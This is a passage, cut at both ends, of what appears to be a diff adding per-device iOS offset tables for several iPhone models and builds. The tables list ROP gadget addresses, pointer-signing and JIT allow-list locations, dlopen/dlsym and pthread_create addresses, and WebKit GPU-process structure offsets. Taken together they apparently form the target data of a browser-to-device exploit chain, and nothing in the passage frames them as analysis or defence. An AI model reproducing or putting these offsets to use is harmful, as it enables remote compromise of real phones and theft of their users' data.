0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed692ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc55870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a07e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272084000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone17,4_22G86": { + __pthread_head : 0x2699a0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed692ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc55870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a07e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272084000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone17,5_22G86": { + __pthread_head : 0x26970c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6390n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f62f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6340n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5738n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7045c8n, + free_slabs : 0x1ed7bdd50n, + gadget_control_1_ios184 : 0x23ed652ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6f70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6b70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c38n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb078b4n, + libGPUCompilerImplLazy_cstring : 0x23bc51870n, + libsystem_c__atexit_mutex : 0x1ed6e31d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2440n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a03e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dcc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed8771e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883fb8n, + WebCore__initPKContact_value : 0x1ed883fc0n, + WebCore__PAL_getPKContactClass : 0x1ed87b478n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882790n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882788n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed882770n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8783c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + + "iPhone11,2_4_6_22G90": { + __pthread_head : 0x2689b0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef4e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccf08b4n, + libGPUCompilerImplLazy_cstring : 0x23be3a870n, + libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576dfe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27101c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, +"iPhone11,6_22G90": { + __pthread_head : 0x2689b0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef4e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccf08b4n, + libGPUCompilerImplLazy_cstring : 0x23be3a870n, + libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576dfe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27101c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + 